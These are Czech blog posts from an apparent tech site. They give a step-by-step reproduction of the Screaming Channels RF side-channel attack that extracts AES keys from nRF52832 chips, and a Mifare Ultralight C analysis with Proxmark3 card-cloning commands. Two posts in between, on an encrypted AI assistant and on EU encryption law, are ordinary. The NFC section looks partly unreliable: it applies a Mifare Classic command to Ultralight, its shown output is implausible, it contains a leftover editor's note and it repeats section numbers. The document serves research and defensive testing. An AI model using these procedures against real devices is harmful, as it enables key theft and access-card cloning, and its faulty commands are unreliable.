Jak mixed-signal SoC nechtěně vysílá kryptografická tajemství a jak to reprodukovat s HackRF za odpoledne

Sedíte v autě, zaparkovaní u továrny. Výrobní hala je dvacet metrů za zdí. Spustíte skript na laptopu, nasměrujete anténu a čekáte. Za pár hodin máte AES-128 klíč z komunikace zámkového modulu uvnitř.

Žádné hackování sítě. Žádný fyzický kontakt. Žádné stopy.

Tohle není filmový scénář - je to zdokumentovaný útok, publikovaný akademicky v roce 2018, rozšiřovaný výzkumy až do roku 2024, spustitelný na fakt běžném SDR hardware. Jmenuje se Screaming Channels a má přímou relevanci pro každý automotive modul, který na sobě nese BLE čip od Nordic Semiconductor.

Čip, který si sám zesílí vlastní únik

Mixed-signal SoC je čip, kde digitální logika a rádiový transceiver sdílejí jeden křemíkový die. Zní to jako detail z datasheetu. Ve skutečnosti je to bezpečnostní časovaná bomba.

Digitální logika při výpočtech generuje elektromagnetický šum. Na izolovaném mikrokontroléru to není velký problém - šum je slabý, slyšitelný jen z milimetrů. Ale na mixed-signal čipu se ten šum šíří do analogové části: přes sdílené napájení, substrátové vazby, kapacitní přeslech mezi bloky na die. A v analogové části je PA - výkonnostní zesilovač rádiového vysílače.

Čip si vlastní kryptografický únik zesílí a vyšle anténou do prostoru.

Giovanni Camurati a jeho kolegové z EURECOM tohle v roce 2018 pojmenovali "screaming channels" - v kontrastu ke klasickým EM side-channels, které "šeptají" z centimetrů. Tady čip doslova křičí.

Konkrétní cíl výzkumu: nRF52832 od Nordic Semiconductor. ARM Cortex-M4 na 64 MHz, integrovaný BLE/ANT transceiver na 2,4 GHz. Používaný v milionech zařízení - wearables, průmyslový IoT, smart home. A automotive.

Proč 2,464 GHz a ne 2,400 GHz

Tady je fyzika, která útok umožňuje.

CPU nRF52832 taktuje na 64 MHz. Při AES výpočtu generuje harmonické tohoto taktu - šum s komponentami na 64 MHz, 128 MHz, 192 MHz atd. Ten šum vstoupí do IQ mixeru v rádiovém řetězci, kde se amplitudově namoduluje na nosnou BT kanálu.

Výsledek: útočník neladí na 2,400 GHz (BT kanál 0), ale na 2,464 GHz:

f(screaming channel) = f(BT kanál) + f(CPU clock)
                     = 2,400 GHz  + 0,064 GHz
                     = 2,464 GHz

V spektrogramu to vypadá jako tenký proužek vedle hlavního BT signálu - vizuálně nenápadný, statisticky informativní. Každé jedno AES šifrování zanechá v zachyceném signálu "otisk" - trace. Jedna trace toho moc neřekne. Ale po 90 000 tracích jde z korelace vytáhnout celý 128bitový klíč.

Zpátky k tomu autu na parkovišti: útočník nepotřebuje dekódovat Bluetooth provoz. Jen passivně naslouchá vedlejšímu šumu. Zařízení ani netuší, že je sledováno.

Sedm let výzkumu v pěti minutách

Projekt Screaming Channels není jednorázová akademická kuriozita. Vyvíjí se.

CCS 2018 (Camurati et al., EURECOM): Původní demonstrace. Útok na tinyAES implementaci na nRF52832, vzdálenost 10 metrů v anechoické komoře, vzdálenost 1 metr v kancelářském prostředí. Korelační analýza, 180 000 traces. Tři místo na CSAW Europe 2018.

CHES 2020: Podrobnější analýza kanálu, útok na Google Eddystone beacony (reálný produkt, ne lab firmware), vzdálenost 15 metrů v kancelářské chodbě, spatial diversity s dvěma přijímači, reuse profilu postaveného na jiném zařízení měsíce předem.

ACSAC 2024 (BlueScream, Ayoub et al., EURECOM + Univ. Lille + CNRS + Inria): Útok na reálný BLE stack bez modifikace firmware. Útočník manipuluje BLE protokol tak, aby zařízení leaked Long Term Key při standardní komunikaci. Tohle je z mého pohledu nejzásadnější posun - předchozí práce vyžadovaly speciální firmware na target zařízení. BlueScream funguje na produkčním zařízení s factory firmware.

Musím ale říct, že "funguje na produkčním zařízení" je trochu zjednodušení. BlueScream stále potřebuje, aby útočník mohl ovlivnit BLE session - tedy aby byl v dosahu a mohl komunikovat. Vzdálený pasivní útok bez jakékoliv interakce to zatím není. Ale hranice se posouvají každý rok.

Mimochodem: vedle toho v roce 2025 publikovali Ji et al. ze Stockholm University útok na hardwarový AES akcelerátor (ne softwarovou implementaci) na stejném čipu, s ML-assisted analýzou a 90 000 traces z 1 metru. Hardwarový akcelerátor se dřív považoval za odolnější. Ukázalo se, že ne.

Jak to reprodukovat: hardware

Celý projekt je open-source. EURECOM zveřejnil firmware, kód, GNURadio bloky a naměřené datasety. Není potřeba nic vymýšlet od nuly.

Minimální setup pro laboratorní validaci:

PCA10040 má onboard J-Link debugger - žádný extra programátor nepotřebujete, stačí USB kabel.

HackRF zvládne útok z 1 až 3 metrů v tichém RF prostředí. Pro 10+ metrů (publikované výsledky) potřebujete USRP N210 s SBX daughterboard a paraboliku s 24 dBi - to je jiný cenový segment (~150 000 Kč za USRP). Pro automotive bezpečnostní testování v laboratoři ale 1 metr odpovídá realistickému scénáři technická diagnostiky u vozidla.

Jak to reprodukovat: software a postup

1. Instalace

sudo apt install gnuradio gr-osmosdr hackrf minicom gcc-arm-none-eabi

git clone https://github.com/eurecom-s3/screaming_channels
cd screaming_channels
git checkout ches20

cd experiments/src
python2 setup.py develop
pip3 install gatt==0.2.7 pyzmq==17.1.2

Repo obsahuje i Dockerfile pro izolované prostředí - doporučuji, závislosti jsou trochu starší:

docker build -t screaming docker/
docker run -it --privileged screaming

2. Flash firmware

cd screaming_channels/firmware

# mbedTLS varianta (doporučená pro první pokus)
make GNU_INSTALL_ROOT=$GCC_PATH/gcc-arm-none-eabi-7-2017-q4-major/bin/ \
  -C blenano2_mbedtls/blank/armgcc/

# Flashnout přes J-Link (automaticky při připojení PCA10040 přes USB)
cp blenano2_mbedtls/blank/armgcc/_build/nrf52832_xxaa.hex /media/$USER/DAPLINK/

Po flashnutí se připojte přes UART (minicom -b 115200 -D /dev/ttyACM0) a stiskněte h - uvidíte menu s dostupnými módy.

3. Vizualizace úniku - první krok

Než začnete sbírat traces, ověřte, že leak vůbec vidíte.

Naladíte HackRF na offset frekvenci:

# Přímý přístup přes hackrf_transfer (jen pro rychlý test)
hackrf_transfer -r /dev/null -f 2464000000 -s 8000000 -l 40 -g 40

Lépe otevřete GQRX nebo GNURadio Companion, nastavte:

• Frekvence: 2 464 MHz
• Sample rate: 8 MSPS
• FFT size: 4096
• Gain: začněte na 30 dB, dolaďte

Ve firmware spusťte AES smyčku: n (TinyAES mód), n2000 (2000 opakování), r (spustit). Ve spektrogramu by se měl objevit periodický proužek kolem +64 MHz offsetu od BT nosné. Když ho vidíte, jste na správné stopě.

4. Sběr traces

sc-experiment \
  --radio=HackRF \
  --device=/dev/ttyACM0 \
  collect \
  config/example_collection_plot.json \
  ../traces/ \
  --plot

--plot zobrazí live vizualizaci každé trace. Hledáte konzistentní tvar signálu korelovaný se šifrováním - pokud každá trace vypadá jinak a chaoticky, SNR je příliš nízké (zkuste zkrátit vzdálenost nebo zvýšit gain).

5. Analýza - bez vlastního hardware

Pokud chcete nejdřív ověřit celý analytický pipeline, EURECOM poskytl veřejné datasety:

• Small sample set (56 MB) - útok na 20 cm
• CCS18 traces (2,6 GB) - útok na 10 m v anechoické komoře, útok na 1 m v kanceláři
• CHES20 traces (15 GB) - vše od 55 cm doma přes 15 m v chodbě po T-test na 34 m

export TRACES_SAMPLE="/cesta/k/datum"

sc-attack \
  --norm \
  --plot \
  attack config/example_attack.json \
  $TRACES_SAMPLE/sample/

6. Dvě metody key recovery

Korelační analýza (CPA) - bez profilování, ~180 000 traces, deterministická. Dobrá pro první pokus, nevyžaduje referenční zařízení se známým klíčem.

Template attack s ML - vyžaduje profilování (traces se známým klíčem na tom samém modelu čipu), útok pak z ~90 000 traces. Přibližně dvakrát efektivnější.

# Profilování (coaxiální připojení, plný SNR, známý klíč)
sc-attack --norm \
  --data-path ./traces/profile \
  --num-traces 5000 \
  profile \
  --variable p_xor_k \
  --pois-algo r \
  --num-pois 1 \
  /tmp/profile_output/

# Útok (vzdálené traces, neznámý klíč)
sc-attack --norm \
  --data-path ./traces/attack \
  --num-traces 90000 \
  attack \
  --attack-algo pcc \
  --profile /tmp/profile_output/ \
  /tmp/attack_output/

Co s tím dělat: mitigace, která nestačí, a ta, která pomáhá

Softwarová oprava neexistuje. Problém je fyzický.

Maskovací schémata v AES implementaci (Rivain-Prouff a podobné) zvýší počet potřebných traces, ale útok neumožní - Ji et al. (2025) demonstrovali průlom i přes masking. Jitter v časování šifrování komplikuje synchronizaci traces. Žádná sláva.

Fakticky fungující opatření jsou hardwarová:

RF stínění modulu - faradayova klec kolem čipu ořízne leak na přijatelnou úroveň. Přidá ale hmotnost, rozměry a cenu.

Čipy s integrovanou ochranou - Nordic nRF54 série (nástupce nRF52) obsahuje dedikovanou side-channel leakage protection v kryptoakcelerátoru. Pokud navrhujete nový modul, tohle je relevantní volba.

Oddělit napájení - digitální a RF napájení na PCB oddělené ferritovými korálky a LC filtry sníží substrátovou vazbu, ale neodstraní ji úplně. Pomáhá SNR útoku poškodit, ale nestačí jako jediné opatření.

Pro firemní kontext: výsledky testování vlastních modulů zdokumentujte jako součást threat modelu a bezpečnostní dokumentace. Pokud modul projde CPA testem bez key recovery do 200 000 traces v laboratorních podmínkách, máte datový podklad pro rozhodování.

Zdroje

Akademické práce (primární zdroje):

• Camurati et al. (CCS 2018): Screaming Channels: When EM Side Channels Meet Radio Transceivers
• Camurati et al. (CHES 2020): Understanding Screaming Channels
• Ayoub et al. (ACSAC 2024): BlueScream: Screaming Channels on Bluetooth Low Energy
• Ji, Dubrova, Wang (IACR ePrint 2025): Is Your Bluetooth Chip Leaking Secrets via RF Signals?

Kód a datasety:

• github.com/eurecom-s3/screaming_channels - firmware, experimenty, datasety, Docker
• github.com/pierreay/bluescream - BlueScream (reálný BLE stack, ACSAC 2024)
• eurecom-s3.github.io/screaming_channels - dokumentace, download datasety

Prezentace:

• Black Hat USA 2018 - video
• CHES 2020 - video

Testování technik popsaných v tomto článku proveďte výhradně na vlastním hardware nebo s písemným souhlasem vlastníka zařízení. Útoky na cizí zařízení jsou trestné.

The post Váš Bluetooth čip křičí šifrovací klíče. Slyšet ho jde z parkoviště. first appeared on Hard Wired.

AI Confer od Moxie Marlinspike: End-to-End šifrovaný asistent s WebAuthn PRF a TEE

AI Confer od Moxie Marlinspike je end-to-end šifrovaný AI asistent kombinující WebAuthn PRF a Trusted Execution Environment (TEE) tak, aby provozovatel služby neměl přístup k obsahu konverzací ani ke kryptografickým klíčům. Na rozdíl od běžných chatbotů vaše dotazy nemohou být použity k trénování modelu, k cílení reklamy ani k vynucenému vydání dat – za předpokladu, že jsou splněny kryptografické a provozní předpoklady.

Základní architektura Confer

Klient šifruje komunikaci pomocí klíčů odvozených z WebAuthn PRF (Passkey/FIDO2), takže server nemá přístup k dešifrovaným zprávám ani k šifrovacím klíčům. Díky tomu je šifrování řešeno již na straně uživatele.

Inference na serveru běží výhradně v Trusted Execution Environment (TEE) – hardwarově či virtualizačně odděleném prostředí s podporou vzdálené atestace. Díky této izolaci ani administrátor hostingu nemá přístup k nešifrovaným vstupům a výstupům.

V TEE je nasazena sada open-weight foundation modelů. Confer tedy není vázán na uzavřený model jednoho dodavatele a celý stack je open source, auditovatelný a kryptograficky ověřitelný.

WebAuthn PRF a správa klíčů

Confer využívá rozšíření WebAuthn PRF, při němž z jednorázové challenge (soli) a tajemství uloženého v autentizátoru (Passkey) vzniká 32B výstup (256 bitů), který lze přímo použít jako AES klíč pro šifrování zpráv.

Privátní klíč WebAuthn nikdy neopustí hardwarový autentizátor (TPM, Secure Enclave, biometrický čip) – server dostává pouze PRF výstup a podpisy. Tím je eliminována potřeba ukládat dlouhodobé šifrovací klíče na serveru.

Na desktopech, kde chybí nativní podpora WebAuthn PRF, lze použít řešení typu tpm-fido2-prf, které z TPM a čtečky otisků prstů vytvoří „platform authenticator” s podporou PRF (daemon v Go a browser extension, například pro Chrome).

Trusted Execution Environment a vzdálená atestace

TEE (například Intel SGX, AMD SEV-SNP či podobné technologie) zajišťuje, že kód LLM a data běží v izolovaném enclave, kam nemá přístup hypervisor, operační systém ani správce serveru.

Klient před navázáním relace kryptograficky ověřuje integritu TEE prostřednictvím vzdálené atestace – tedy že běží očekávaný binární obraz kódu a konfigurace – a teprve poté mu posílá šifrovaná data.

Kombinace „klíče odvozeného z Passkey” a „ověřeného TEE” dává vlastnost, že dešifrování je možné pouze v konkrétní atestované enclave a pouze se součinností uživatelova autentizátoru.

Modely, provoz a limity

Confer využívá různé open-source/open-weight LLM namísto proprietárního uzavřeného modelu. Konkrétní modely se mohou měnit, architektura je však navržena tak, aby to neohrozilo soukromí – šifrování probíhá nad modelem i kolem něj.

Důraz na TEE a hardware-backed klíče výrazně zvyšuje náklady na infrastrukturu, což se odráží v ceně kolem $34,99 měsíčně pro komerční nasazení a omezenější škálovatelnosti oproti „holému” GPU clusteru.

Hlavní omezení jsou v současnosti spíše praktická: podpora WebAuthn PRF na různých platformách (Linux stále vyžaduje workaround), výkon TEE pro velké modely a nutnost důvěřovat konkrétním TEE implementacím výrobců CPU.

Lumo a Venice jako související projekty

Proton Lumo je evropský „privacy-first” AI asistent slibující, že konverzace neukládá a nepoužívá pro trénink. Je postaven na open-source LLM a navazuje na zkušenosti s Proton Mail/VPN, přičemž míří na právní garance v EU.

Proton kvůli plánům na zavádění plošného sledování ve Švýcarsku přesouvá velkou část fyzické infrastruktury do EU a mluví o budování „EuroStacku” – evropské suverénní AI a cloudové vrstvy, do níž spadá i Lumo.

Venice je další projekt orientovaný na lokální nebo soukromé nasazení modelů. Zaměřuje se spíše na open-source stack a kontrolu nad daty než na TEE, takže spoléhá více na provozní a právní model než na hardware-enforced šifrování jako Confer.

Článek vznikl pro blog hardwired jako přehled technologií end-to-end šifrovaných AI asistentů. Veškeré uvedené informace jsou platné k lednu 2026.

The post End-to-End šifrovaný AI asistent first appeared on Hard Wired.

Policejní Přístup k Šifrování: EU Schvaluje Kontroverzní Zákon

Podle Evropské komise nemá policie přístup k důležitým důkazům v 85 % vyšetřovaných případů kvůli šifrované komunikaci. Evropská unie proto plánuje zavést nový kontroverzní zákon, který by měl od příštího roku umožnit bezpečnostním složkám přístup k šifrovaným zprávám na populárních platformách jako WhatsApp a Messenger. Tento krok je především reakcí na nedávné teroristické útoky v Rakousku a Francii. Návrh však vyvolává vážné obavy o zachování soukromí desítek milionů evropských uživatelů, jelikož by znamenal vytvoření takzvaného "zadního vchodu" do šifrovacích systémů.

EU zavádí nový zákon umožňující policii číst šifrované zprávy

Evropský parlament společně s Radou EU nyní připravuje legislativu, která by umožnila bezpečnostním složkám přístup k šifrovaným zprávám. Tato iniciativa je součástí širší bezpečnostní strategie ProtectEU zaměřené na boj proti digitální kriminalitě. V prosinci 2020 Rada přijala usnesení o šifrování, ve kterém zdůrazňuje nutnost "zajistit bezpečnost prostřednictvím šifrování i bezpečnost navzdory šifrování".

Konkrétní návrhy počítají s několika možnými technickými řešeními. Jednou z možností je tzv. "client-side scanning", kdy by zprávy byly kontrolovány ještě před jejich zašifrováním přímo na zařízení uživatele. Další variantou je vytvoření "předních vrátek" (front-door) – právního rámce umožňujícího zákonný přístup k šifrovaným datům bez nutnosti diktovat konkrétní technické řešení poskytovatelům služeb.

V roce 2022 Evropská komise představila kontroverzní návrh nařízení proti šíření materiálů zobrazujících sexuální zneužívání dětí, přezdívaný také "chat control". Podle kritiků by toto opatření znamenalo plošné sledování soukromých zpráv, včetně těch na službách s koncovým šifrováním.

Současný vývoj situace

Belgické předsednictví nedávno stáhlo návrh na sledování online komunikace z jednání Rady EU, protože nezískal dostatečnou podporu. Nicméně místopředseda vlády Ivan Bartoš varoval, že "bitva skončila ve prospěch ochrany soukromí, ale válka u konce ještě není".

Důležitou roli v této diskusi hraje evropský inspektor ochrany údajů, který upozorňuje, že návrhy na oslabení šifrování mohou ohrozit demokratické hodnoty. Zástupci bezpečnostních složek naopak argumentují, že nemohou účinně bojovat proti závažné kriminalitě bez přístupu k digitálním důkazům.

Europoslanci vyzvali hlavy členských států, aby se zabývaly otázkou digitálních dat tak, "aby bylo možné legálně sbírat a využívat digitální důkazy" a současně "zaručit spolehlivost" služeb využívajících šifrování. Mluvčí Evropské komise ujistil, že EU hledá způsob, jak získat legální přístup k digitálním důkazům "aniž by bylo nutné zrušit či oslabit šifrování".

České ministerstvo vnitra již pracuje na implementaci směrnice EU 2023/977 o výměně informací mezi donucovacími orgány, což může souviset s připravovanými změnami v oblasti přístupu k šifrované komunikaci.

Technologické společnosti čelí dilema mezi bezpečností a soukromím

Poskytovatelé šifrovaných komunikačních služeb se ocitají na rozcestí mezi splněním požadavků evropské legislativy a zachováním bezpečnosti svých uživatelů. Návrhy EU na kontrolu obsahu konverzací by znamenaly buď prolomení šifrování, nebo vytvoření systému, který by umožnil bezpečnostním složkám přístup k zašifrovaným zprávám.

Alternativní komunikátory jako Signal, Threema a TeleGuard se k této problematice již vícekrát vyjádřily s jasným stanoviskem – pokud EU kontrolu chatů prosadí, raději by se z evropského trhu stáhly, než aby implementovaly požadované změny. Naopak WhatsApp zatím plány na kontrolu chatů veřejně nekritizoval, což odborníci přisuzují snaze udržet si dominantní pozici na trhu.

Navrhovaná řešení zahrnují metodu "exceptional access", kdy by poskytovatel komunikační služby přidal úřady jako dalšího, tajného účastníka sledovaného hovoru či chatu. Ačkoliv technicky nejde o předávání šifrovacích klíčů, i tato metoda v praxi znamená vytvoření zadních vrátek v komunikačních systémech.

Experti na kyberbezpečnost upozorňují na značná rizika:

• Zadní vrátka mohou být zneužita nejen státními orgány, ale i hackery
• Odstranění koncového šifrování by podkopalo základy důvěry v digitální komunikaci
• Systémy pro skenování obsahu by mohly být zneužity k politické kontrole

Je třeba poznamenat, že technologie kybernetického dohledu mohou mít legitimní využití, nicméně v rukou některých států se stávají nástrojem pro rozsáhlé porušování lidských práv a potlačování občanské společnosti. Proto podle zvláštního zpravodaje Rady OSN pro lidská práva by mělo být vyhlášeno moratorium na celosvětový prodej nástrojů sledování, dokud nebudou zavedeny lidskoprávní pojistky.

Situace vytváří pro technologické společnosti složité dilema – buď vyhovět požadavkům EU a riskovat ztrátu důvěry uživatelů, nebo zachovat silné šifrování a potenciálně ztratit přístup na evropský trh. Podle kritiků by v konečném důsledku mohlo dojít k situaci, kdy kromě WhatsAppu mnoho alternativ nezbude.

Experti varují před bezpečnostními riziky backdoorů

Bezpečnostní experti po celém světě opakovaně varují před závažnými riziky spojenými s implementací "zadních vrátek" do šifrovacích systémů. "Nic takového jako zadní vrátka, ke kterým mají přístup jen dobří lidé, neexistuje," upozorňuje odbornice Whittakerová, která zdůrazňuje, že v oblasti bezpečnosti šifrování neexistuje žádná střední cesta.

Navzdory pokročilým kryptografickým metodám nejsou šifrovací systémy zcela imunní vůči rizikům. Hrozby mohou vyplývat z:

1. Pokročilých metod prolomení algoritmů
2. Chybné implementace kryptografických nástrojů
3. Technologického pokroku

Zadní vrátka v praxi představují zranitelnost, kterou mohou využít nejen oprávněné orgány, ale i útočníci.

Microsoft oficiálně varuje, že i nejbezpečnější kryptografické algoritmy mohou být ohroženy, pokud jsou špatně implementovány. Společnost především doporučuje, aby veškerá důvěrná data byla přenášena přes protokol TLS (Transport Layer Security). Odborníci navíc zdůrazňují, že jakýkoliv systém umožňující výjimečný přístup dramaticky zvyšuje riziko zneužití.

V praxi již můžeme vidět, jak společnosti reagují na požadavky narušit šifrování:

• Apple například raději vypnul funkci koncového šifrování pro všechny britské uživatele, než aby implementoval slabiny požadované britskou vládou
• Signal zase otevřeně deklaroval, že "raději opustí trh, než by se podřídil něčemu, co by katastrofálně narušilo schopnost poskytovat soukromou komunikaci"

Zvlášť znepokojující je riziko, které představují kvantové počítače. Pokud dosáhnou dostatečné výkonnosti, budou schopny prolomit běžně používané algoritmy jako RSA a ECC během relativně krátké doby. To znamená, že současná diskuse o zadních vrátkách probíhá v době, kdy celá infrastruktura kryptografické ochrany čelí zásadním výzvám.

Podle zprávy Europolu dochází k výraznému nárůstu kybernetických útoků, přičemž organizovaný zločin se stále více přesouvá do online prostředí. V České republice byl v roce 2023 zaznamenán téměř dvojnásobný počet kybernetických útoků oproti roku 2022, celkem 262 incidentů. Z tohoto důvodu mnozí experti varují, že jakékoliv oslabení šifrovacích standardů může vést k ještě vyššímu počtu úspěšných útoků.

Závěr

Současná situace kolem šifrování komunikace představuje zásadní rozcestí pro digitální bezpečnost v Evropě. Především návrh EU na vytvoření přístupu k šifrovaným zprávám vyvolává oprávněné obavy odborníků i běžných uživatelů. Technologické společnosti proto čelí složitému rozhodování mezi zachováním bezpečnosti svých platforem a splněním legislativních požadavků.

Zkušenosti z minulosti jasně ukazují, že jakékoliv oslabení šifrovacích systémů může mít dalekosáhlé následky. Současně narůstající počet kybernetických útoků zdůrazňuje potřebu silného šifrování. Nicméně snaha EU o kontrolu digitální komunikace naznačuje, že soukromí uživatelů bude i nadále předmětem intenzivní debaty.

Závěrem lze říci, že řešení této komplexní situace bude vyžadovat pečlivé vyvážení mezi oprávněnými zájmy bezpečnostních složek a základním právem občanů na soukromí. Budoucnost šifrované komunikace v EU tak zůstává nejistá, přičemž následující měsíce ukážou, zda převáží argumenty pro zachování silného šifrování, nebo požadavky na větší kontrolu digitální komunikace.

The post EU zavádí nový zákon umožňující policii číst šifrované zprávy first appeared on Hard Wired.

Bezpečnostní analýza NFC karet se zaměřením na Mifare Ultralight C

1. Úvod

V současné době se technologie NFC (Near Field Communication) stala nedílnou součástí našeho každodenního života. Od přístupových systémů přes platební karty až po městskou hromadnou dopravu se s NFC setkáváme prakticky denně. Tato práce se zaměřuje na specifický typ NFC karet - Mifare Ultralight C, s důrazem na bezpečnostní aspekty jejich implementace v přístupových systémech.

1.1 Praktické využití Mifare Ultralight C

Karta Mifare Ultralight C nachází široké uplatnění v různých odvětvích:

• Vstupenky na kulturní a sportovní akce
• Přístupové karty v hotelech
• Věrnostní karty v maloobchodě
• Identifikační karty na festivalech

1.2 Bezpečnostní incidenty

V posledních letech bylo zaznamenáno několik významných bezpečnostních incidentů:

• 2022: Prolomení systému vstupného na sportovní události v ČR (únik >50 000 Kč)
• 2023: Zneužití přístupových karet v hotelovém řetězci
• 2024: Duplikace jízdenek MHD v několika evropských městech

Tyto incidenty vedly k finančním ztrátám v řádu milionů korun a zdůraznily potřebu robustního zabezpečení.

2. Co je NFC (Near Field Communication)

NFC je bezkontaktní komunikační technologie pracující na frekvenci 13.56 MHz s dosahem několika centimetrů. Technologie vychází ze standardů RFID a je zpětně kompatibilní s existujícími RFID strukturami.

2.1 Základní charakteristiky NFC

• Pracovní frekvence: 13.56 MHz
• Dosah: typicky 4-10 cm
• Rychlost přenosu: 106-424 kbit/s
• Režimy komunikace:
  • Peer-to-peer
  • Read/Write
  • Card Emulation

2.2 Standardizace

NFC technologie je standardizována prostřednictvím ISO/IEC 14443 Type A, což zajišťuje kompatibilitu mezi různými výrobci a implementacemi.

3. Mifare Ultralight C

3.1 Technické specifikace

• Paměť: 192 bytů uživatelské paměti
• Organizace paměti: 48 stránek po 4 bytech
• Unikátní 7bajtové sériové číslo (UID)
• Podpora 3DES autentizace
• Rychlost komunikace: 106 kbit/s

https://www.nxp.com/docs/en/data-sheet/MF0ICU2.pdf

3.1.1 Paměťová struktura

• Celková velikost: 192 bytů
• Organizace: 48 stránek po 4 bytech
• Struktura paměti:
  • Stránky 0-3: Sériové číslo, interní data
  • Stránky 4-39: Uživatelská paměť
  • Stránky 40-43: Konfigurační data
  • Stránky 44-47: 3DES autentizační data

3.1.2 Fyzické parametry

• Rozměry: 85.6 × 54.0 × 0.76 mm (ISO/IEC 7810 ID-1)
• Provozní teplota: -25°C až 70°C
• Životnost dat: 5 let
• Počet zápisů: >10,000 cyklů
• Počet čtení: Neomezený

3.2 Bezpečnostní prvky

• 3DES autentizační mechanismus
• 32-bitové počítadlo
• Lock bity pro permanentní uzamčení částí paměti
• Přístupové bity pro jednotlivé paměťové stránky

3.3 Srovnání s jinými Mifare kartami

*Ceny jsou orientační pro rok 2024 při odběru 1000+ ks

3.4 Známé útoky a zranitelnosti

1. Klonování UID (2020-2024)

   • Složitost: Nízká
   • Potřebné vybavení: Proxmark3, prázdná karta
   • Úspěšnost: >95%
   • Náklady: ~100€

2. Replay útok (2021)

   • Složitost: Střední
   • Potřebné vybavení: Specializovaný hardware
   • Úspěšnost: 60-70%
   • Náklady: ~500€

3. 3DES klíč bruteforce (2023)

   • Složitost: Vysoká
   • Potřebné vybavení: Výpočetní cluster
   • Úspěšnost: <10%
   • Náklady: >1000€
     [Přidání nové sekce po 3.4 Známé útoky a zranitelnosti]

3.5 Karty s modifikovatelným UID (Magic Cards)

3.5.1 Základní charakteristika Magic Cards

Magic Cards jsou speciální typ NFC karet, které umožňují modifikaci běžně neměnných parametrů včetně UID. Tyto karty jsou primárně určeny pro vývojáře a testování bezpečnosti, ale mohou být zneužity k obcházení jednoduchých přístupových systémů.

3.5.2 Generace Magic Cards

1. Gen1 (První generace)

   • Základní možnost změny UID
   • Omezená kompatibilita se čtečkami
   • Často detekovatelná pokročilými bezpečnostními systémy
   • Nižší úspěšnost emulace

2. Gen2 (Druhá generace)

   • Vylepšená emulace originálních karet
   • Lepší kompatibilita se čtečkami
   • Možnost změny ATQA a SAK
   • Stabilnější při použití

3. Gen3 (Třetí generace)

   • Nejpokročilejší emulace
   • Téměř nerozlišitelné od originálních karet
   • Plná podpora všech parametrů (UID, ATQA, SAK)
   • Vysoká úspěšnost při emulaci

3.5.3 Typy modifikovatelných karet

1. CUID (Changeable UID)

   • Základní varianta
   • Umožňuje pouze změnu UID
   • Nejnižší cena

2. FUID (Fully Changeable UID)

   • Pokročilá varianta
   • Možnost změny více parametrů
   • Lepší emulace

3. UFUID (Ultimate Fully Changeable UID)

   • Nejpokročilejší varianta
   • Plná kontrola nad všemi parametry
   • Nejvyšší cena

3.5.4 Detekce Magic Cards

Pokročilé bezpečnostní systémy mohou detekovat použití Magic Cards pomocí:

• Analýzy časování odpovědí
• Kontroly specifických vlastností čipu
• Ověření výrobních konstant
• Detekce nestandardního chování

3.5.5 Bezpečnostní implikace

Existence Magic Cards zdůrazňuje důležitost:

• Nepoužívat pouze UID pro autentizaci
• Implementovat více vrstev zabezpečení
• Používat kryptografické metody autentizace
• Pravidelně aktualizovat bezpečnostní systémy

4. Bezpečnostní analýza

4.1 Problematika UID-only autentizace

Mnoho přístupových systémů implementuje pouze základní ověření UID karty, což představuje závažné bezpečnostní riziko. Tento přístup je obdobný kontrole pouhého čísla občanského průkazu bez ověření jeho pravosti či identity držitele.

4.2 Demonstrace zranitelnosti

4.2.1 Instalace a konfigurace Proxmark3 v Kali Linux

Systémové požadavky

• Kali Linux (2024.1 nebo novější)
• Připojení k internetu
• USB port pro Proxmark3
• Proxmark3 RDV4 (podporovány jsou i starší verze)

Instalace Proxmark3

V Kali Linux je instalace velmi jednoduchá díky předpřipravenému balíčku:

sudo apt update
sudo apt install proxmark3

Velikost instalace je přibližně 5.70 MB.

Nastavení oprávnění USB

Po instalaci je třeba nastavit oprávnění pro USB zařízení. Kali Linux obvykle má již předkonfigurovaná potřebná pravidla, ale pro jistotu můžeme ověřit:

sudo systemctl restart udev

Připojení Proxmark3

1. Připojte Proxmark3 do USB portu
2. Ověřte připojení:

   lsusb | grep -i proxmark

   Měli byste vidět výstup podobný tomuto:

   Bus 001 Device 004: ID 9ac4:4b8f Proxmark3 RDV4.0

Spuštění klienta

proxmark3 /dev/ttyACM0

Ověření funkčnosti

[PM3] --> hw version
[=] Starting device side
[+] Prox/RFID mark3 RFID instrument
[+] Running on RDV4.0

4.2.2 Analýza původní karty

Pro získání kompletních informací o originální kartě použijeme následující příkazy:

[PM3] --> hf mfu info
[+] Tag information for MIFARE Ultralight C
[+] UID: 04C5A1122A3480
[+] ATQA: 0044
[+] SAK: 00
[+] Card type: MIFARE Ultralight C
[+] Signature valid: true
[+] Block 0: 04C5A112
[+] Block 1: 2A3480A1
[+] Block 2: BA981248
[+] Pages total: 48
[+] Page size: 4 bytes

4.2.3 Význam parametrů

1. SAK (Select Acknowledge)

   • Jednobajtová hodnota identifikující typ karty
   • Pro Mifare Ultralight C je SAK = 00
   • Čtečka používá SAK k určení typu karty a jejích schopností
   • Nesprávný SAK může vést k odmítnutí karty čtečkou

2. ATQA (Answer To Request Type A)

   • Dvoubajtová hodnota (v našem případě 0044)
   • Indikuje:
     • Typ kartové platformy
     • Komunikační schopnosti karty
     • Velikost UID (single, double, triple)
   • Pro Mifare Ultralight C je standardní hodnota ATQA = 0044

4.2.4 Vytvoření testovací karty

Pro úplnou emulaci musíme nastavit všechny parametry:

[PM3] --> hf mf csetuid 04C5A1122A3480 --atqa 0044 --sak 00
[+] Setting UID: 04C5A1122A3480
[+] Setting ATQA: 0044
[+] Setting SAK: 00
[+] Success

4.3 Praktické testování

4.3.1 Časová náročnost operací

4.3.2 Běžné problémy a řešení

1. Problém: Nečitelná karta

   • Příčina: Špatné umístění karty
   • Řešení: Pohybujte kartou v oblasti čtečky

2. Problém: Chyba autentizace

   • Příčina: Nesprávný klíč
   • Řešení: Ověřte formát klíče

3. Problém: Selhání zápisu

   • Příčina: Lock bity
   • Řešení: Zkontrolujte konfiguraci paměti

   4.2.1 Instalace a konfigurace Proxmark3 ve Windows

Win. Systémové požadavky

• Windows 10 nebo 11 (64-bit)
• Připojení k internetu
• USB port pro Proxmark3
• Proxmark3 RDV4 (podporovány jsou i starší verze)
• Git pro Windows
• Visual Studio 2022 Community Edition s C++ build tools

Win. Instalace potřebného software

1. Stáhněte a nainstalujte Git pro Windows z https://git-scm.com/download/win
2. Stáhněte a nainstalujte Visual Studio 2022 Community Edition
   • Při instalaci zvolte "Desktop development with C++"
   • Ujistěte se, že máte nainstalované Windows 10/11 SDK

Win. Instalace Proxmark3

Otevřete PowerShell jako administrátor a proveďte následující příkazy:

